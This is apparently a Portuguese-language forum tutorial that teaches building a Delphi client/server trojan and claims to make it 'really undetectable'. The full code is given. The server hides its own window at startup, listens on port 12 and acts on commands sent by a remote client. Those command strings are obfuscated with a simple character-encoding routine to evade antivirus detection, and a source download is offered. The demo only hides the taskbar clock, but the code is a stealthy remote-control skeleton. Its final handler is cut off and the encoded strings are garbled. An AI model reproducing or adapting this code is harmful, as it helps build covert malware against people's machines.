INW-Segurança

Olá.

Agora vou mostrar como deixar seus trojans Realmente indetectáveis em delphi.

Montando:

Abra o delphi e vá em Install Packages

Coloque ADD e vá em no

diretório do seu delphi + \Bin\dclsockets70.bpl.

Agora no delphi adicione:

1 label (paleta Standard).

1 Edit (paleta Standard).

2 Botões (paleta Standard).

1 Panel (paleta Standard).

1 ClientSocket (paleta Internet).

Mude o text da Edit para “127.0.0.1″.

Mude o capition da label para “Ip:” o do Botão 1 para “Conectar” e o Botão2 para “Desconectar”.

O capition do panel deixe em branco.

Mude a port do ClientSocket para “12″

Deve estar assim sua form:

Agora clique duas vezes no botão conectar, e coloque o seguinte código:

procedure TForm1.Button1Click(Sender: TObject);

begin

ClientSocket1.Host := edit1.Text;

ClientSocket1.Active := true;

end;

E no botão desconectar:

procedure TForm1.Button2Click(Sender: TObject);

begin

ClientSocket1.Active := false;

end;

Agora adicione um botão e altere o capition para “Ocultar Relógio” e no código coloque:

procedure TForm1.Button3Click(Sender: TObject);

begin

ClientSocket1.Socket.SendText(‘ocultar’);

end;

Adicione outro botão e altere o capition para “Mostrar Relógio” e no código coloque:

procedure TForm1.Button4Click(Sender: TObject);

begin

ClientSocket1.Socket.SendText(‘mostrar’);

end;

Agora salve tudo em uma pasta e abra:

Adicione um Serversocket (paleta Internet).

Agora abra Events da form1

E clique duas vezes em OnCreate e como codigo coloque:

procedure TForm1.FormCreate(Sender: TObject);

begin

application.ShowMainForm := false;

end;

E No código adicione isso:

function EnDecryptString(StrValue : String; Chave: Word) : String;

var

I: Integer;

OutValue : String;

begin

OutValue := ”;

for I := 1 to Length(StrValue) do

OutValue := OutValue + char(Not(ord(StrValue[I])-Chave));

Result := OutValue;

end;

Agora baixe o ..Criptograf.. e abra ele.

Em texto para criptografar coloque “ocultar”

E clique em Criptografar deve formar o seguinte

texto |ˆvwŠy Copie ele.

Volte no Delphi.

Agora no ServerSocket coloque port 12

E Active true. E em events clique das vezes

OnClientRead e coloque o seguinte codigo:

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;

Socket: TCustomWinSocket);

var

receber : String;

begin

receber := Socket.ReceiveText;

if receber = EnDecryptString(‘~|xwyŠy’, 236) then

ShowWindow( FindWindowEx(FindWindowEx( FindWindow(‘Shell_TrayWnd’, nil), HWND(0), ‘TrayNotifyWnd’, nil), HWND(0), ‘TrayClockWClass’, nil), Sw_Hide)

~|xwyŠy é a criptografia de “mostrar” Pronto! Agora é só testar.

Baixar Source